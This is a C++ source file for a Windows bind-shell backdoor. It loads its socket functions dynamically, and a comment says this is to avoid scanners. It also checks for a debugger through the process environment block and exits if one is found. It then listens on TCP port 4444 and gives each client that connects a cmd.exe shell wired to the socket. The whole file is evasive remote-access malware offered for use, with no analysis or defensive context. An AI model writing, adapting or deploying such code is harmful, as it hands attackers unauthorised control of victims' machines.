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main.cpp
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228 lines (180 loc) · 4.79 KB
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#include <iostream>
#include "windows.h"
#include "lib/IPType.h"
//#include <winsock2.h>
//#pragma comment("lib","ws_32.lib")
#define ETHERNET 0x06
typedef DWORD LPWSAPROTOCOL_INFOA;
typedef BYTE GROUP;
typedef int ( __stdcall * _WSAStartup )( WORD, LPWSADATA );
typedef SOCKET( __stdcall * _WSASocket )( int, int, int, LPWSAPROTOCOL_INFOA, GROUP, DWORD );
typedef int( __stdcall * _WSACleanup )( );
typedef int( __stdcall * _bind )( SOCKET, const sockaddr *, int );
typedef int( __stdcall * _close )( SOCKET );
typedef int( __stdcall * _listen )( SOCKET, int );
typedef SOCKET( __stdcall * _accept )( SOCKET, const sockaddr *, int );;
typedef ULONG( __stdcall * _GetAdaptersInfo)( PIP_ADAPTER_INFO, PULONG );
bool presentDebugger( ){
asm(
"movl $0x30,%ebx\n\t"
"movl %fs:(%ebx), %eax\n\t"
"movl 0x2(%eax),%eax\n\t"
"and $0xff, %eax"
);
}
int getNetworkAddr( char ** ip4 ){
PIP_ADAPTER_INFO pai;
PIP_ADAPTER_INFO lpai;
HMODULE iptype;
_GetAdaptersInfo GetAdaptersInfo;
ULONG outl;
DWORD retV;
int iplen;
if( (iptype = LoadLibrary("Iphlpapi.dll")) == NULL ){
printf("[-] cannot load Iphlpapi.dll");
return -1;
}
if( (GetAdaptersInfo = ( _GetAdaptersInfo )GetProcAddress( iptype, "GetAdaptersInfo" )) == 0 ){
printf("[-] cannot load GetAdapterInfo");
FreeLibrary(iptype);
return -1;
}
if( (pai = ( IP_ADAPTER_INFO *)malloc( sizeof( IP_ADAPTER_INFO ) )) != NULL )
if( ( retV = GetAdaptersInfo( pai, &( outl = sizeof( IP_ADAPTER_INFO ) ) ) ) == NO_ERROR ){
// Ethernet
lpai = pai;
if( lpai->Type == ETHERNET ){
*ip4 = ( char * ) malloc( ( iplen = strlen(lpai->IpAddressList.IpAddress.String)+1 ) );
memset( *ip4, 0, iplen );
memcpy(
*ip4,
lpai->IpAddressList.IpAddress.String,
iplen
);
}
};
free(lpai);
free(pai);
FreeLibrary(iptype);
return 0;
}
int main(int argc, char** argv) {
/*
# pass just one argv
# avoid scan
*/
if( presentDebugger() || argc < 2 ){
printf("\r\n\tsoft.exe [<ipv4> | <laod>]\r\n");
ExitProcess(0);
}
HMODULE ws2_32;
WSADATA wsd;
SOCKET sock;
sockaddr_in sin;
char * ip4;
// fct
_WSAStartup Startup;
_WSACleanup clean;
_close close;
_bind bind;
_listen listen;
_accept accept;
if( (ws2_32 = LoadLibrary("ws2_32.dll")) == NULL ){
printf("[-] cannot load ws2_32.dll");
ExitProcess(0);
}
// load fcts
Startup = ( _WSAStartup )GetProcAddress( ws2_32, "WSAStartup" );
clean = ( _WSACleanup )GetProcAddress( ws2_32, "WSACleanup" );
close = ( _close )GetProcAddress( ws2_32, "closesocket" );
bind = ( _bind )GetProcAddress( ws2_32, "bind" );
listen = ( _listen )GetProcAddress( ws2_32, "listen" );
accept = ( _accept )GetProcAddress( ws2_32, "accept" );
if( Startup == 0 || clean == 0 || close == 0 || bind == 0 || listen == 0 || accept == 0 ){
printf("[-] Bad loading handle ");
ExitProcess(0);
FreeLibrary(ws2_32);
}
memset( &wsd, 0, sizeof(wsd));
if( Startup( (WORD)0x2020, &wsd ) != 0 ){
printf("[-] WSAStartup failed !");
clean();
ExitProcess(0);
}
_WSASocket socket;
socket = ( _WSASocket )GetProcAddress( ws2_32, "WSASocketA" );
if( ( sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int )NULL, (unsigned int )NULL ) ) == -1 ){
printf("[-] WSocket failed !\r\n");
clean();
ExitProcess(0);
}
/*
# try to catche INET4
*/
if( getNetworkAddr( &ip4 ) == -1 ){
if( inet_addr(argv[1]) > 0 )
ip4 = argv[1];
else{
printf("[-] Cannot resolve ipv4\r\n[+] >soft.exe <ipv4>");
close(sock);
clean();
ExitProcess(0);
}
}
memset( &sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(4444);
sin.sin_addr.s_addr = inet_addr(ip4);
free(ip4);
if(bind( sock, ( SOCKADDR* ) &sin, sizeof(sin) ) != 0 ){
printf("[-] Bind failed <%i>\r\n", WSAGetLastError() );
clean();
ExitProcess(0);
}
if( listen( sock, 1 ) != 0 ){
printf("[-] listen failed <%i>\r\n", WSAGetLastError() );
clean();
ExitProcess(0);
}
/*
#
*/
for(;;){
SOCKADDR_IN csin = {0};
SOCKET clts = accept( sock, NULL, NULL );
if( clts != INVALID_SOCKET ){
printf("[+] New Connection clients\r\n");
STARTUPINFO si;
PROCESS_INFORMATION pi;
memset(&si, 0, sizeof(si));
si.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)clts;
if( !CreateProcessA(
NULL,
"cmd.exe",
NULL,
NULL,
true,
0,
NULL,
NULL,
&si, &pi
) ){
printf("[-] Cannot create remote shell\r\n");
close(clts);
clean();
}else{
printf("[+] A remote shell has been created !\r\n");
WaitForSingleObject( pi.hProcess, INFINITE );
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
}
Sleep( 200 );
}
close(sock);
clean();
FreeLibrary(ws2_32);
ExitProcess(0);
return 0;
}